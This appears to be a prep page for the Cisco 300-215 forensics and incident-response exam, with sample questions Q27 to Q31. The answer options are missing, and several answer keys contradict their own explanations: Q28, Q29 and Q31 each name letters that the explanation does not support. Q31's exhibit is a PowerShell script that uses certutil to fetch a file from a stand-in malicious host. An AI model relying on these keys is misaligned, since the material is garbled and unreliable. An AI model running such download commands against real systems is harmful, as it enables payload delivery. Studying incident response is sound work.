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Cisco 300-215 exam is designed to test the knowledge and skills related to conducting forensic analysis and incident response using Cisco technologies for CyberOps. 300-215 exam is part of the CyberOps Associate certification program, which is intended for individuals who are interested in pursuing a career in cybersecurity. 300-215 exam is designed to test the individual's ability to identify and respond to security incidents in a timely and effective manner.

Study Guides for 300-215 Exam

The guides that you can utilize to gain the general concepts and skills aimed at forensic analysis and how to respond to incidents are usually found on Amazon. Among them are the ones discussed below:

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The Cisco 300-215 Exam focuses on the areas that students learn to understand and effectively analyze data to prevent security breaches or detect them early on. This includes collecting evidence, conducting forensic investigations, and ultimately executing investigations that help organizations prevent attacks. With a detailed focus on Cisco-based technology infrastructures, students are well-equipped to develop methods of attack along with developing their ability to prevent future attacks.

Cisco Conducting Forensic Analysis & Incident Response Using Cisco Technologies for CyberOps Sample Questions (Q27-Q32):

NEW QUESTION # 27
An EDR solution reports that a suspicious process dropped a malicious file on endpoint DE23X5940P.
Sandbox analysis shows that the malware propagates through SMB and communicates through an encrypted command-and-control channel. A business-critical solution also depends on SMB. Which action should the security analyst take to respond to the incident and mitigate risk?

Answer: C

Explanation:
Isolating the infected endpoint immediately interrupts SMB-based propagation while preserving SMB for the business-critical application elsewhere. Blocking the known command-and-control IP also prevents the malware from receiving instructions or exfiltrating information. This is targeted containment: it reduces active risk without imposing an organization-wide outage. Disabling SMB on every network would be operationally damaging and ignores the stated dependency. SSL inspection may improve visibility into future encrypted traffic, but deploying it is slower and does not immediately stop the compromised host's lateral movement.
Reimaging and credential resetting may be appropriate during eradication and recovery, but performing them before containment and evidence collection can destroy useful forensic artifacts and leave the C2 infrastructure accessible from other affected systems. CBRFIR Incident Response Techniques objective 3.5 requires selecting mitigations from evaluated EDR, SIEM, IPS, and related alerts. Cisco CBRFIR v1.2 exam topics


NEW QUESTION # 28
A security team detected an above-average amount of inbound tcp/135 connection attempts from unidentified senders. The security team is responding based on their incident response playbook. Which two elements are part of the eradication phase for this incident? (Choose two.)

Answer: B,D

Explanation:
The eradication phase in incident response involves eliminating the root cause of the incident and strengthening defenses to prevent reoccurrence. In this case:
Intrusion Prevention System (D): Adding new rules to the IPS to detect and block malicious activity on TCP
/135 is a direct eradication step to remove the threat's entry point and prevent future attacks.
Centralized User Management (C): Hardening user accounts, removing unnecessary permissions, and applying tighter authentication/authorization measures helps eliminate the possibility that threat actors could exploit weak or mismanaged accounts to continue accessing the system.
Although anti-malware software (A) and enterprise block listing (E) are valuable, the most direct eradication steps here specifically involve managing network access (via IPS) and strengthening user controls (via centralized user management), especially when TCP/135 (MSRPC endpoint mapper) can be used to enumerate services and potentially access vulnerable endpoints remotely.
This aligns with best practices outlined in incident response frameworks (such as the NIST SP 800-61 and referenced resources), which emphasize closing the exploited entry points (in this case, TCP/135) and removing any lingering access points through user management and network control enhancements.
Reference:
CyberOps Technologies (CBRFIR) 300-215 study guide, Chapter: Understanding the Incident Response Process, Eradication Phase, page 105-106.
External Reference: "The Core Phases of Incident Response - Remediation," Cipher blog [1].
External Reference: "Service Overview and Network Port Requirements," Microsoft documentation [2].


NEW QUESTION # 29
Refer to the exhibit.

An HR department submitted a ticket to the IT helpdesk indicating slow performance on an internal share server. The helpdesk engineer checked the server with a real-time monitoring tool and did not notice anything suspicious. After checking the event logs, the engineer noticed an event that occurred 48 hours prior. Which two indicators of compromise should be determined from this information? (Choose two.)

Answer: A,D

Explanation:
According to the event log, a suspicious service was installed (DIAOHHNMPMMRgji) with a service file pointing to a remote share (\\127.0.0.1\admin$\EqnBqKWm.exe). This type of activity strongly suggests:
* A. Unauthorized system modification: Installation of a service without proper authorization, especially with a random or obfuscated name, directly fits the description of system modification. The use of admin$ (administrative share) further implies this wasn't part of standard operations.
* E. Malware outbreak: The use of a service that points to an executable with a seemingly random name and the demand start configuration indicate a potential backdoor or remote-controlled malware. As stated in the Cisco CyberOps Associate guide, event ID 7045 with unusual service names or file paths is a strong Indicator of Compromise (IoC) for malware or persistence mechanisms.
Options like privilege escalation or DoS are not directly evidenced in the event log shown. There's no indication that the LocalSystem account was elevated beyond its default, nor that system resources were overwhelmed (as would be typical in DoS).


NEW QUESTION # 30
Which tool is used for reverse engineering malware?

Answer: B

Explanation:
Explanation/Reference: https://www.nsa.gov/resources/everyone/ghidra/#:~:text=Ghidra%20is%20a%20software%
20reverse,in%20their%20networks%20and%20systems.


NEW QUESTION # 31
Refer to the exhibit.
$datePath = " certutil-$(Get-Date -format yyyy_MM_dd) "
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f https://malware.com/XY874HZ.txt
Get-ChildItem | Where-Object {$_.Name -notlike " *.txt " } | ForEach-Object { Move-Item $_.Name -Destination XY874HZ.txt
}
During a threat-intelligence review, a cybersecurity analyst evaluates artifacts from a recent incident involving a compromised server. The artifacts include a script that uses certutil to download files from a suspicious URL. This finding is critical for determining the threat-actor profile responsible for the attack.
Which threat-actor profile aligns with the artifacts?

Answer: C

Explanation:
The artifact invokes Windows certutil with a remote HTTPS URL, indicating abuse of a legitimate system utility to retrieve material onto a compromised host. Attribution should be based on a documented cluster of behaviors, not the tool alone; however, the question asks which listed profile matches this specific artifact. MITRE ATT & CK associates APT41 with certutil and maps that utility to Ingress Tool Transfer, while its certutil entry records APT41-related use. That directly supports option B and CBRFIR objective 3.10, evaluating threat-intelligence artifacts to determine a threat- actor profile. Option A names a different utility, BITSAdmin. Option C reverses the direction by describing exfiltration from the victim, whereas the command retrieves a remote file. Option D describes automated forwarding without evidence in the script. See the MITRE ATT & CK APT41 profile .


NEW QUESTION # 32
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